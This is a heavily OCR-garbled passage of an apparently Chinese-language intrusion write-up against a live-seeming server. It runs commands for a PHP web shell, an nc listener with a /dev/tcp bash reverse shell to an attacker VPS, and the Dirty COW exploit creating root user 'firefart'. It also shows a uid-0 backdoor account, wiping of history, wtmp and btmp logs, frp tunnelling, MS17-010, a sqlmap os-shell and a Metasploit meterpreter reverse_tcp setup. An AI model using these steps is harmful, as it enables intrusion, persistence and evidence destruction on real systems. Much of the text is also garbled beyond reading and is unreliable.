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HEEEFT, iR SENR BRI, ——DHTN
i,



BA fofa UMMM, BN—TEWMET, ETEN
Z, MELEE, HIEIMEMRR, ZBRE, EA, HER
RS E, THAMTMEZHBRENEREN—E. ()
ENLEHREEAN, HtEKEE, HERKEaOSTHN—
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= [ ] Pripcl, cmm . 'pngw.‘ B | TR S e, moUB.php KM v2.0.1

7 TSN shell B R AET vn R AT drr B
83 o

EIJ{%;@: ﬁw&mummmwum:umm
Duld Duin | Fob 8 2018 20:3.84
Configure  |' . g A3

NI % _php.8 S —prunti-ryasied —wih-mylermpnd wih.

=/3EE L R R

/-J \ o
BERITRE WM V2.0 By reloayond
a L ] [l 4F RS e A IMSGE 2020 /8301 0Bcb0 2480250788 P0ae00Bc026.0hp XM V2.0

URL:  mitpy,,, e i image! 202000301 Dbe k02 4802507 da 1 9Bsed8Ic026.0hp

wxme FEICON @SN THRE  Sockaitil EWSkel MESWE EZLRE @

uname —-a BF— MhRAS, KT 2.6.22, vBAdidhE
SR,

AMBEAERKBEE, MABIEZ R, TR
S#IE,

Vpsi&hF—TF : nc -lvvp 8080

WIREIREN: bash -1 >& /dev/tcp/vpshyipitiilt /8080 0>&1



R3EMINZIE, EKIBE CERFRNITA.

./dirty password

FTEARZ 3 o1, LI TENAT ZEEMRNAI,
ZERSELEEERMENA,

kS : firefart

29 : password

mmap: 7f0f6

k setc/passwd if the new user was created.
can log in with the e 'firefart’ and the password ‘password

DON'T FORGET TO RESTORE! % mv /tmp/passwd.bak fetc/passwd

BliZEAER, TRE—THCRRIE, ZELE history
ICRHHVBANG L,

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTI



»IFILE HISTS
H -} re

JE

1. 1# history

[firefar T om a public_html]#& mv ftmp/passwd.bak fetc/passwd
mv ftmp/passwd.bak fetc/passwd
[firefart o ““y public_htmll# cat fetc/passwd
cat fetc/passwd
:root:/root:/bin/bash
febin/nologin
bin:/sbin/nologin
X fnelegin
in/nolegin
/sync

&7 T shadow E root IkS8IZE, RBEMEHIE, AWM
BlIE—" root N RAMKSIE,

useradd -p “Z&i8” db -0 -u @ -g root

Cat /etc/passwd BE—T, HEMIN.

db:x:0:0:: /home/db: /bin/bash

B db lKS&fE, whoami & TR,



P ‘@z ~ % ssh -T dbRZ” ‘g fbin/bash -1

db@? 5 password:

Permission denied, please try again.

dbPessm wm = B's password:

bash: cannot set terminal process group (-1): T E NS N

bash: no job control inm this shell
[root@ m= e ~]# whoami
whoami

root

[roote. NN m ~1# ]

XY, BICET w BEE—MHRIERAR, RIREE
f AfEL

-bash-4.1% w
17:17:35 up 1 day, 6:54, 1 user,
USER TTY FROM
db pts/@
-bash-4.1#

last EEEREICE, RIERAX/LKEBEMI,

[rooti
last

db

db

db
firefart

(i}

o noon

firefart
root
root
root
root
root

[y
R R

FIE—K AT,

it
H}
f

echo ""> /var/log/wtmp EZEEMEAE

echo ""> /var/log/btmp EBEZEREEMAE



echo ""> ~/.bash_history &khistoryAi&

i ! logl# echo *®> fvar/log/wtmp

.gl# last

begins Wed Aug 5 15:85:3% 20828
B ogleec /var/log/btmp
ar/laog/btmp

[roct@Zhee.. ..gu.oe logls lastb

lasth

root sshinotty im s \ | o1 5:8 (ea:ae)
backup § ) =7 P 5 (Beg:ea)
root ¢ 24, 1 ! £ (aa:ea)
backup 1 e=7 B 69.hs We 5:85 (B@:08)
root vt vps- . B .8 vps | 5 . (eg:ea)

il B SNBSS E ssh LEBEE, KUEEER
E&%7T, FEARMERE.

ssh -T db@xx.xx.xx.xx /bin/bash -1i

W 148 fbin/bash -i

group (-1): RBEHPE

11:26:19 up 63 day F. 1 user, load average: 25.89, 25.83, 26.78
USER FROM LOGING IDLE PCPU WHAT
B3Juni@ 63days ! fbinfXorg @

OB EERIER
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ERELT T, InOEEA L, BREERMKIERE
7, WiiR@EEE, BT ew, FERIRE, BEZHA
—RM=E, =R frp 1B, IMERAER step RIRN

Ny=—1
— M=,

E

1 frp BIRHIAL:

scp C:tools4.imOEfrpfrp_0.33.0_linux_amd64.tar.gz d

vps BRI frps.ini BB nohup ./frps —c
frps.ini &

5 -c frps.ini &

hup: ignoring input and appending ou

p 8.33.8 linux amdG4]w cat frps.ini

|#|netstat -anp | grep frp

LISTEN

152752 ESTABLISHED

ZE#lis FEEEE P frpe.ini f§, nohup ./frpc —c
frpc.ini &



2 03 "nohup . owt”®

Lasth]# netsts p | grep fro

tcp !
BLISHED 28437/./frpc

- N ] frp.0
frp 2.33.8 _ darwin_amdés X [, /frpe —¢ frpo.ind
2BZR/BESBE 11:29:53

282a/88/86 11:29:83

N\ goby, LM, —BEEAMMER, LR
mEAERS, HWNEFEZIRIEA!
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445 w0, HigFA msf 33— ms17-010 ik, @0F
B, XMem/aEaEiER jio I\,

PFIE, —NEREHE, ms12-020 1 ms17-010 Hi83T A
If...... MBIBEB U ABHXEHRAN rdp 1 smb JFRERM
2B, ZANREH msf WO, EREMRSES
ERTD msf BB—HM, BMFET, HKEIAEE,
FHD B,



Connecting to target for expleitation.
blished for & tat
selected valid for 05 indicat
RE raw buffer dump (35 bytes)

49 So &4 &F 77 73 2

4
192.1¢ 45 - PxOOeBAO1A 30 30 38 20 5 20 B
pog A
192. 1 45 - PxORBARZA 37 34 38 38
TaoE

Target arch selected walid for arch indicated by DCE
Trying exploit with 12 Groom Allocations.
Sending all but last fragment of exploit packet
rk/embedded/1ib/ruby/gem
t.rh: in ° i
fopt/matasploit-framewmork/eabedded/Lib/ ruby /gem

mb/dispatchar/s .rh:68:1in “recv_packet'
metasploit-framework/enbedded/1i

, thinkphp 20K S
T, #{EI—" config, BEEAEERETMN, FAIER T
0, grep —ri "DB_USER" #Z| T #UBENIKS ,

g.php.svn-b

EEXTHEZ, @, RRFEEARXKSEN (3F

root MKS) .
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for help. Type '

BEERIEMAEUERE, NREX, E—KZE, 23T/
DMK S ETE root 2R3, EKE—T%, BIN!
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Ll m T user @mysgl (192 18 B

«Dhs
.
R 6. 36 4 - WET T Wad TNl T
= . Hr.-u Ui Passward Sahic

,.“féﬁi;‘ﬁa{i?i’x ,,"%éuaﬁ:ﬂzaﬁ&'é? T\gﬁﬁﬂjﬁ-ﬂ

BT ?&Tﬁﬁ?ﬁ J?EEEEE",E’TVpn i@y, T A
Fﬁéfé‘,frp &% socksb R, HER FEFINKS
8, mysql —HBERIURE.

python sqlmap.py -d mysql://root:#password@®192.168.xx.

(Ltan L= B5h udf :21X)

LEESRLERMNES .

R
Ip

AITIX

N

pip install PyMySQL

pip instal sqlalchemy

? (/LJ\IL_J\MEEU)

11

&t
&t
&t

23| os-shell ZfF, BITHES



REZE TTUREIER, ERRAIZ, ip HKE T,
GFRY, XFIRETT - -

FRUAMMUBIEROSST ... TR T, EHBOREHSE
T

MOMENTS LATER

BXEE—T ssh i, ERRE—EHRALEZ, 170\
170\, EEGARER, BPHALOE] goby EF FHMAY
RiE, B=IRIR web I, FAZE...



IhRARMB LA, admin/123456 #ET —1EMMLE
2, BnE 21 818, BT, BOLKELHF!

WRER

Msf & B 5% windows Y powershell,

use
set
set
set
set
set
set
run

exploit/multi/script/web_delivery
target 2

payload windows/meterpreter/reverse_tcp
lhost 192.168.xx.xx

lport 5101

srvport 5202

uripath /
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